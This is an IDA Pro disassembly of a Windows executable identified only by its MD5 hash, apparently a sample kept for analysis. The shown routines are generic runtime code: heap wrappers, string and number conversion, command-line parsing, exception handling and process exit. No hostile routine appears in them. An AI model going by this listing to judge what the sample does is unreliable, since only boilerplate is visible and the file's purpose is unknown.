; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2063EB5180AAF972B8EE78721B8A24A4 ; File Name : u:\work\2063eb5180aaf972b8ee78721b8a24a4_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00002404 ( 9220.) ; Section size in file : 00002600 ( 9728.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing ; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION HeapFree. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] align 4 loc_401058: ; DATA XREF: sub_4015F8o jmp ds:RaiseException ; --------------------------------------------------------------------------- align 10h loc_401060: ; DATA XREF: sub_4015F8+Ao jmp ds:RtlUnwind ; --------------------------------------------------------------------------- align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_401080 proc near ; CODE XREF: sub_4010D0+4p ; sub_401100+3Fp ; DATA XREF: ... push eax ; dwBytes mov eax, ds:dwFlags push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapAlloc retn sub_401080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401094 proc near ; CODE XREF: sub_4010E8+4p ; sub_401100+26p ; DATA XREF: ... push ebx mov ebx, eax push ebx ; lpMem mov eax, ds:dwFlags and eax, 1 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapFree cmp eax, 1 sbb eax, eax neg eax and eax, 7Fh pop ebx retn sub_401094 endp ; =============== S U B R O U T I N E ======================================= sub_4010B8 proc near ; CODE XREF: sub_401100+Dp ; DATA XREF: DATA:off_404034o push edx ; dwBytes push eax ; lpMem mov eax, ds:dwFlags and eax, 0 push eax ; dwFlags mov eax, ds:hHeap push eax ; hHeap call HeapReAlloc retn sub_4010B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4010D0 proc near ; CODE XREF: sub_4017E4+Cp ; sub_403070+22p test eax, eax jz short locret_4010DE call ds:off_40402C or eax, eax jz short loc_4010DF locret_4010DE: ; CODE XREF: sub_4010D0+2j retn ; --------------------------------------------------------------------------- loc_4010DF: ; CODE XREF: sub_4010D0+Cj mov al, 1 jmp loc_4011A8 sub_4010D0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4010E8 proc near ; CODE XREF: sub_40174C+1Bp ; sub_401770+20p ... test eax, eax jz short locret_4010F6 call ds:off_404030 or eax, eax jnz short loc_4010F7 locret_4010F6: ; CODE XREF: sub_4010E8+2j retn ; --------------------------------------------------------------------------- loc_4010F7: ; CODE XREF: sub_4010E8+Cj mov al, 2 jmp loc_4011A8 sub_4010E8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401100 proc near ; CODE XREF: sub_4019F8+22p ; FUNCTION CHUNK AT 004011A8 SIZE 0000000B BYTES mov ecx, [eax] test ecx, ecx jz short loc_401138 test edx, edx jz short loc_401122 push eax mov eax, ecx call ds:off_404034 pop ecx or eax, eax jz short loc_401131 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_40111B: ; CODE XREF: sub_401100+2Ej mov al, 2 jmp loc_4011A8 ; --------------------------------------------------------------------------- loc_401122: ; CODE XREF: sub_401100+8j mov [eax], edx mov eax, ecx call ds:off_404030 or eax, eax jnz short loc_40111B retn ; --------------------------------------------------------------------------- loc_401131: ; CODE XREF: sub_401100+16j ; sub_401100+48j mov al, 1 jmp loc_4011A8 ; --------------------------------------------------------------------------- loc_401138: ; CODE XREF: sub_401100+4j test edx, edx jz short locret_40114C push eax mov eax, edx call ds:off_40402C pop ecx or eax, eax jz short loc_401131 mov [ecx], eax locret_40114C: ; CODE XREF: sub_401100+3Aj retn sub_401100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401150 proc near ; CODE XREF: sub_40115C+42p mov ds:dword_404004, edx call sub_401734 sub_401150 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40115C proc near ; CODE XREF: sub_401100+AEj push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_405004, 0 jz short loc_401178 mov edx, esi mov eax, ebx call ds:dword_405004 loc_401178: ; CODE XREF: sub_40115C+10j test bl, bl jnz short loc_401189 call sub_401BEC mov ebx, [eax+0] jmp short loc_401198 ; --------------------------------------------------------------------------- loc_401189: ; CODE XREF: sub_40115C+1Ej cmp bl, 18h ja short loc_401198 xor eax, eax mov al, bl mov bl, ds:byte_404038[eax] loc_401198: ; CODE XREF: sub_40115C+2Bj ; sub_40115C+30j xor eax, eax mov al, bl mov edx, esi call sub_401150 sub_40115C endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401100 loc_4011A8: ; CODE XREF: sub_4010D0+11j ; sub_4010E8+11j ... and eax, 7Fh mov edx, [esp+0] jmp sub_40115C ; END OF FUNCTION CHUNK FOR sub_401100 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4011B4 proc near ; CODE XREF: sub_401360+14p ; sub_4017A0+1Bp ... cmp ecx, 4 jge short loc_4011D5 jcxz locret_401213 cmp eax, edx jz short locret_401213 push esi push edi mov esi, eax mov edi, edx ja short loc_4011D1 lea esi, [ecx+esi-1] lea edi, [ecx+edi-1] std loc_4011D1: ; CODE XREF: sub_4011B4+12j rep movsb jmp short loc_401201 ; --------------------------------------------------------------------------- loc_4011D5: ; CODE XREF: sub_4011B4+3j cmp eax, edx jz short locret_401213 push esi push edi mov esi, eax mov edi, edx mov eax, ecx ja short loc_401203 and ecx, 3 lea esi, [eax+esi-1] lea edi, [eax+edi-1] std rep movsb sar eax, 2 mov ecx, eax mov eax, 3 sub esi, eax sub edi, eax rep movsd loc_401201: ; CODE XREF: sub_4011B4+1Fj cld dec ecx loc_401203: ; CODE XREF: sub_4011B4+2Dj sar ecx, 2 js short loc_401211 rep movsd and eax, 3 mov ecx, eax rep movsb loc_401211: ; CODE XREF: sub_4011B4+52j pop edi pop esi locret_401213: ; CODE XREF: sub_4011B4+5j ; sub_4011B4+Aj ... retn sub_4011B4 endp ; =============== S U B R O U T I N E ======================================= sub_401214 proc near ; CODE XREF: sub_401300+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_401226 ; --------------------------------------------------------------------------- loc_40121E: ; CODE XREF: sub_401214+1Aj push ebx ; lpsz call CharNextA ; CharNextA mov ebx, eax loc_401226: ; CODE XREF: sub_401214+8j ; sub_401214+2Aj mov al, [ebx] test al, al jz short loc_401230 cmp al, 20h jbe short loc_40121E loc_401230: ; CODE XREF: sub_401214+16j cmp byte ptr [ebx], 22h jnz short loc_401240 cmp byte ptr [ebx+1], 22h jnz short loc_401240 add ebx, 2 jmp short loc_401226 ; --------------------------------------------------------------------------- loc_401240: ; CODE XREF: sub_401214+1Fj ; sub_401214+25j xor ebp, ebp mov edi, ebx jmp short loc_401289 ; --------------------------------------------------------------------------- loc_401246: ; CODE XREF: sub_401214+79j cmp al, 22h jnz short loc_40127B push ebx ; lpsz call CharNextA ; CharNextA mov ebx, eax jmp short loc_401262 ; --------------------------------------------------------------------------- loc_401254: ; CODE XREF: sub_401214+56j push ebx ; lpsz call CharNextA ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_401262: ; CODE XREF: sub_401214+3Ej mov al, [ebx] test al, al jz short loc_40126C cmp al, 22h jnz short loc_401254 loc_40126C: ; CODE XREF: sub_401214+52j cmp byte ptr [ebx], 0 jz short loc_401289 push ebx ; lpsz call CharNextA ; CharNextA mov ebx, eax jmp short loc_401289 ; --------------------------------------------------------------------------- loc_40127B: ; CODE XREF: sub_401214+34j push ebx ; lpsz call CharNextA ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_401289: ; CODE XREF: sub_401214+30j ; sub_401214+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_401246 mov eax, esi mov edx, ebp call sub_4019F8 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_4012F1 ; --------------------------------------------------------------------------- loc_4012A0: ; CODE XREF: sub_401214+E1j cmp al, 22h jnz short loc_4012DC push ebx ; lpsz call CharNextA ; CharNextA mov ebx, eax jmp short loc_4012C3 ; --------------------------------------------------------------------------- loc_4012AE: ; CODE XREF: sub_401214+B7j push ebx ; lpsz call CharNextA ; CharNextA cmp eax, ebx jbe short loc_4012C3 loc_4012B8: ; CODE XREF: sub_401214+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_4012B8 loc_4012C3: ; CODE XREF: sub_401214+98j ; sub_401214+A2j mov al, [ebx] test al, al jz short loc_4012CD cmp al, 22h jnz short loc_4012AE loc_4012CD: ; CODE XREF: sub_401214+B3j cmp byte ptr [ebx], 0 jz short loc_4012F1 push ebx ; lpsz call CharNextA ; CharNextA mov ebx, eax jmp short loc_4012F1 ; --------------------------------------------------------------------------- loc_4012DC: ; CODE XREF: sub_401214+8Ej push ebx ; lpsz call CharNextA ; CharNextA cmp eax, ebx jbe short loc_4012F1 loc_4012E6: ; CODE XREF: sub_401214+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_4012E6 loc_4012F1: ; CODE XREF: sub_401214+8Aj ; sub_401214+BCj ... mov al, [ebx] cmp al, 20h ja short loc_4012A0 mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_401214 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401300 proc near ; CODE XREF: sub_402FBC+1Dp ; CODE:00403388p Filename = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_40174C test esi, esi jnz short loc_401336 push 105h ; nSize lea eax, [esp+118h+Filename] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA ; GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_401810 jmp short loc_401354 ; --------------------------------------------------------------------------- loc_401336: ; CODE XREF: sub_401300+16j call GetCommandLineA ; GetCommandLineA mov edi, eax loc_40133D: ; CODE XREF: sub_401300+52j mov edx, ebx mov eax, edi call sub_401214 mov edi, eax test esi, esi jz short loc_401354 cmp dword ptr [ebx], 0 jz short loc_401354 dec esi jmp short loc_40133D ; --------------------------------------------------------------------------- loc_401354: ; CODE XREF: sub_401300+34j ; sub_401300+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_401300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401360 proc near ; CODE XREF: sub_4025E8+1Fp ; sub_402D9C+1Fp push ebx mov bl, [edx] cmp cl, bl jbe short loc_401369 mov ecx, ebx loc_401369: ; CODE XREF: sub_401360+5j mov [eax], cl inc edx inc eax and ecx, 0FFh xchg eax, edx call sub_4011B4 pop ebx retn sub_401360 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40137C proc near ; CODE XREF: sub_401DE0+Cp ; sub_4020E4+7Ep ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_401399 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_401399: ; CODE XREF: sub_40137C+12j pop edi retn sub_40137C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40139C proc near ; CODE XREF: sub_4013FC+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_4013B3: ; CODE XREF: sub_40139C+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_4013B3 test esi, esi jge short loc_4013CB mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_4013CB: ; CODE XREF: sub_40139C+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_4013DF mov ecx, 0FFh loc_4013DF: ; CODE XREF: sub_40139C+3Cj sub ecx, ebx jle short loc_4013EA add [edi-1], cl mov al, 20h rep stosb loc_4013EA: ; CODE XREF: sub_40139C+45j ; sub_40139C+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_4013EA add esp, 18h pop edi pop esi pop ebx retn sub_40139C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4013FC proc near ; CODE XREF: sub_4025E8+12p ; sub_402D9C+12p mov ecx, edx xor edx, edx call sub_40139C retn sub_4013FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401408 proc near ; CODE XREF: sub_4025DC+3p ; sub_402DD4+3p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_40147E xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_40141B: ; CODE XREF: sub_401408+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_40141B mov ch, 0 cmp bl, 2Dh jz short loc_40148C cmp bl, 2Bh jz short loc_40148E cmp bl, 24h jz short loc_401493 cmp bl, 78h jz short loc_401493 cmp bl, 58h jz short loc_401493 cmp bl, 30h jnz short loc_401456 mov bl, [esi] inc esi cmp bl, 78h jz short loc_401493 cmp bl, 58h jz short loc_401493 test bl, bl jz short loc_401474 jmp short loc_40145A ; --------------------------------------------------------------------------- loc_401456: ; CODE XREF: sub_401408+39j ; sub_401408+89j test bl, bl jz short loc_401487 loc_40145A: ; CODE XREF: sub_401408+4Cj ; sub_401408+6Aj sub bl, 30h cmp bl, 9 ja short loc_401487 cmp eax, edi ja short loc_401487 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_40145A loc_401474: ; CODE XREF: sub_401408+4Aj dec ch jz short loc_401481 test eax, eax jge short loc_4014CA jmp short loc_401487 ; --------------------------------------------------------------------------- loc_40147E: ; CODE XREF: sub_401408+8j ; sub_401408+95j inc esi jmp short loc_401487 ; --------------------------------------------------------------------------- loc_401481: ; CODE XREF: sub_401408+6Ej neg eax jle short loc_4014CA js short loc_4014CA loc_401487: ; CODE XREF: sub_401408+50j ; sub_401408+58j ... pop ebx sub esi, ebx jmp short loc_4014CD ; --------------------------------------------------------------------------- loc_40148C: ; CODE XREF: sub_401408+20j inc ch loc_40148E: ; CODE XREF: sub_401408+25j mov bl, [esi] inc esi jmp short loc_401456 ; --------------------------------------------------------------------------- loc_401493: ; CODE XREF: sub_401408+2Aj ; sub_401408+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_40147E loc_40149F: ; CODE XREF: sub_401408+C0j cmp bl, 61h jb short loc_4014A7 sub bl, 20h loc_4014A7: ; CODE XREF: sub_401408+9Aj sub bl, 30h cmp bl, 9 jbe short loc_4014BA sub bl, 11h cmp bl, 5 ja short loc_401487 add bl, 0Ah loc_4014BA: ; CODE XREF: sub_401408+A5j cmp eax, edi ja short loc_401487 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_40149F loc_4014CA: ; CODE XREF: sub_401408+72j ; sub_401408+7Bj ... pop ecx xor esi, esi loc_4014CD: ; CODE XREF: sub_401408+82j mov [edx], esi pop edi pop esi pop ebx retn sub_401408 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4014D4 proc near ; CODE XREF: sub_4014F4+Cp test ecx, ecx jz short locret_4014F1 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_4014EC cmp byte ptr [ecx], 0EBh jnz short locret_4014F1 movsx eax, al inc ecx inc ecx jmp short loc_4014EF ; --------------------------------------------------------------------------- loc_4014EC: ; CODE XREF: sub_4014D4+Aj add ecx, 5 loc_4014EF: ; CODE XREF: sub_4014D4+16j add ecx, eax locret_4014F1: ; CODE XREF: sub_4014D4+2j ; sub_4014D4+Fj retn sub_4014D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4014F4 proc near ; CODE XREF: sub_401EBC-97Bp cmp ds:byte_404008, 1 jbe short locret_40151A push eax push edx push ecx call sub_4014D4 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:dword_405008 pop ecx pop ecx pop edx pop eax locret_40151A: ; CODE XREF: sub_4014F4+7j retn sub_4014F4 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401EBC loc_40151C: ; CODE XREF: sub_401AD8:loc_401B0Bj ; sub_401C7C:loc_401CADj ... mov eax, [esp-4+arg_0] mov edx, [esp-4+arg_4] test dword ptr [eax+4], 6 jz short loc_40154C mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_40154C push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_4014F4 call ecx pop ebp pop edi pop esi pop ebx loc_40154C: ; CODE XREF: sub_401EBC-991j ; DATA XREF: sub_401EBC-98Co mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_401EBC ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401554 proc near ; CODE XREF: sub_401664:loc_4016B2p ; DATA XREF: DATA:off_40401Co push ebx push esi push edi push ebp mov edi, offset dword_405590 mov eax, [edi+8] test eax, eax jz short loc_401582 mov ebx, [edi+0Ch] mov esi, [eax+4] test ebx, ebx jle short loc_401582 loc_40156E: ; CODE XREF: sub_401554+2Cj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_40157E mov ebp, eax call ebp loc_40157E: ; CODE XREF: sub_401554+24j test ebx, ebx jg short loc_40156E loc_401582: ; CODE XREF: sub_401554+Ej ; sub_401554+18j pop ebp pop edi pop esi pop ebx retn sub_401554 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401588 proc near ; CODE XREF: sub_401588+43p ; sub_4015DC+12p ; DATA XREF: ... push ebx push esi push edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov eax, offset sub_401588 cmp eax, ds:off_404018 setz bl cmp edi, ebp jle short loc_4015D7 loc_4015A4: ; CODE XREF: sub_401588+4Dj mov eax, [esi+ebp*8] inc ebp mov ds:dword_40559C, ebp test eax, eax jz short loc_4015B4 call eax loc_4015B4: ; CODE XREF: sub_401588+28j test bl, bl jz short loc_4015D3 mov eax, offset sub_401588 cmp eax, ds:off_404018 jz short loc_4015D3 mov ecx, edi mov edx, ebp mov eax, esi call ds:off_404018 jmp short loc_4015D7 ; --------------------------------------------------------------------------- loc_4015D3: ; CODE XREF: sub_401588+2Ej ; sub_401588+3Bj cmp edi, ebp jg short loc_4015A4 loc_4015D7: ; CODE XREF: sub_401588+1Aj ; sub_401588+49j pop ebp pop edi pop esi pop ebx retn sub_401588 endp ; =============== S U B R O U T I N E ======================================= sub_4015DC proc near ; CODE XREF: sub_4015F8+35p mov eax, ds:dword_405598 test eax, eax jz short locret_4015F4 mov edx, [eax] xor ecx, ecx mov eax, [eax+4] xchg ecx, edx call ds:off_404018 locret_4015F4: ; CODE XREF: sub_4015DC+7j retn sub_4015DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015F8 proc near ; CODE XREF: sub_401C38+3Ap mov ds:dword_405008, offset loc_401058 mov ds:dword_40500C, offset loc_401060 mov ds:dword_405598, eax xor eax, eax mov ds:dword_40559C, eax mov ds:dword_4055A0, edx mov eax, [edx+4] mov ds:dword_405014, eax mov ds:byte_40501C, 0 call sub_4015DC retn sub_4015F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401634 proc near ; CODE XREF: sub_401664+96p xor eax, eax xchg eax, ds:dword_404000 neg eax sbb eax, eax inc eax mov edi, offset dword_405590 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_401634 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401664 proc near ; CODE XREF: sub_401734+5p ; CODE:004033DAp push ebx push esi push edi push ebp mov ebx, offset dword_405590 mov esi, offset dword_404000 mov edi, offset dword_405020 cmp byte ptr [ebx+28h], 0 jnz short loc_401693 cmp dword ptr [edi], 0 jz short loc_401693 loc_401682: ; CODE XREF: sub_401664+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_401682 loc_401693: ; CODE XREF: sub_401664+17j ; sub_401664+1Cj cmp ds:dword_404004, 0 jz short loc_4016A2 call ds:off_404054 loc_4016A2: ; CODE XREF: sub_401664+36j ; sub_401664+C6j cmp byte ptr [ebx+28h], 2 jnz short loc_4016B2 cmp dword ptr [esi], 0 jnz short loc_4016B2 xor eax, eax mov [ebx+0Ch], eax loc_4016B2: ; CODE XREF: sub_401664+42j ; sub_401664+47j call ds:off_40401C cmp byte ptr [ebx+28h], 1 jbe short loc_4016C3 cmp dword ptr [esi], 0 jz short loc_4016E5 loc_4016C3: ; CODE XREF: sub_401664+58j mov eax, [ebx+10h] test eax, eax jz short loc_4016E5 call ds:off_404014 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_4016E5 test eax, eax jz short loc_4016E5 push eax ; hLibModule call FreeLibrary ; FreeLibrary loc_4016E5: ; CODE XREF: sub_401664+5Dj ; sub_401664+64j ... call ds:off_404020 cmp byte ptr [ebx+28h], 1 jnz short loc_4016F4 call dword ptr [ebx+24h] loc_4016F4: ; CODE XREF: sub_401664+8Bj cmp byte ptr [ebx+28h], 0 jz short loc_4016FF call sub_401634 loc_4016FF: ; CODE XREF: sub_401664+94j cmp dword ptr [ebx], 0 jnz short loc_40171B cmp ds:dword_405010, 0 jz short loc_401713 call ds:dword_405010 loc_401713: ; CODE XREF: sub_401664+A7j mov eax, [esi] push eax ; uExitCode call ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_40171B: ; CODE XREF: sub_401664+9Ej mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_4016A2 sub_401664 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401734 proc near ; CODE XREF: sub_401150+6p ; sub_401740+6j ... mov ds:dword_404000, eax call sub_401664 sub_401734 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401740 proc near ; CODE XREF: sub_401BA8+1Ap ; sub_401BA8+2Fp pop ds:dword_404004 jmp sub_401734 sub_401740 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40174C proc near ; CODE XREF: sub_401300+Fp ; sub_401810+23p ... mov edx, [eax] test edx, edx jz short locret_40176D mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_40176D dec dword ptr [edx-8] jnz short locret_40176D push eax lea eax, [edx-8] call sub_4010E8 pop eax locret_40176D: ; CODE XREF: sub_40174C+4j ; sub_40174C+10j ... retn sub_40174C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401770 proc near ; CODE XREF: sub_401F68+114p ; sub_4021F0+259p ... push ebx push esi mov ebx, eax mov esi, edx loc_401776: ; CODE XREF: sub_401770+29j mov edx, [ebx] test edx, edx jz short loc_401795 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_401795 dec dword ptr [edx-8] jnz short loc_401795 lea eax, [edx-8] call sub_4010E8 loc_401795: ; CODE XREF: sub_401770+Aj ; sub_401770+16j ... add ebx, 4 dec esi jnz short loc_401776 pop esi pop ebx retn sub_401770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4017A0 proc near ; CODE XREF: sub_4018AC+8j ; sub_402DE0+53p ... test edx, edx jz short loc_4017C7 mov ecx, [edx-8] inc ecx jg short loc_4017C4 push eax push edx mov eax, [edx-4] call sub_4017E4 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_4011B4 pop edx pop eax jmp short loc_4017C7 ; --------------------------------------------------------------------------- loc_4017C4: ; CODE XREF: sub_4017A0+8j inc dword ptr [edx-8] loc_4017C7: ; CODE XREF: sub_4017A0+2j ; sub_4017A0+22j xchg edx, [eax] test edx, edx jz short locret_4017E0 mov ecx, [edx-8] dec ecx jl short locret_4017E0 dec dword ptr [edx-8] jnz short locret_4017E0 lea eax, [edx-8] call sub_4010E8 locret_4017E0: ; CODE XREF: sub_4017A0+2Bj ; sub_4017A0+31j ... retn sub_4017A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4017E4 proc near ; CODE XREF: sub_4017A0+Fp ; sub_401810+Bp ... test eax, eax jle short loc_40180C push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_4010D0 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_40180C: ; CODE XREF: sub_4017E4+2j xor eax, eax retn sub_4017E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401810 proc near ; CODE XREF: sub_401300+2Fp ; sub_401840+8p ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_4017E4 mov ecx, edi mov edi, eax test esi, esi jz short loc_401831 mov edx, eax mov eax, esi call sub_4011B4 loc_401831: ; CODE XREF: sub_401810+16j mov eax, ebx call sub_40174C mov [ebx], edi pop edi pop esi pop ebx retn sub_401810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401840 proc near ; CODE XREF: sub_4020E4+90p push edx mov edx, esp mov ecx, 1 call sub_401810 pop edx retn sub_401840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401850 proc near ; CODE XREF: sub_402FBC+45p xor ecx, ecx test edx, edx jz short loc_401877 push edx loc_401857: ; CODE XREF: sub_401850+1Dj cmp cl, [edx] jz short loc_401872 cmp cl, [edx+1] jz short loc_401871 cmp cl, [edx+2] jz short loc_401870 cmp cl, [edx+3] jz short loc_40186F add edx, 4 jmp short loc_401857 ; --------------------------------------------------------------------------- loc_40186F: ; CODE XREF: sub_401850+18j inc edx loc_401870: ; CODE XREF: sub_401850+13j inc edx loc_401871: ; CODE XREF: sub_401850+Ej inc edx loc_401872: ; CODE XREF: sub_401850+9j mov ecx, edx pop edx sub ecx, edx loc_401877: ; CODE XREF: sub_401850+4j jmp sub_401810 sub_401850 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401880 proc near ; CODE XREF: sub_4025E8+28p ; sub_402D9C+28p xor ecx, ecx mov cl, [edx] inc edx jmp sub_401810 sub_401880 endp ; 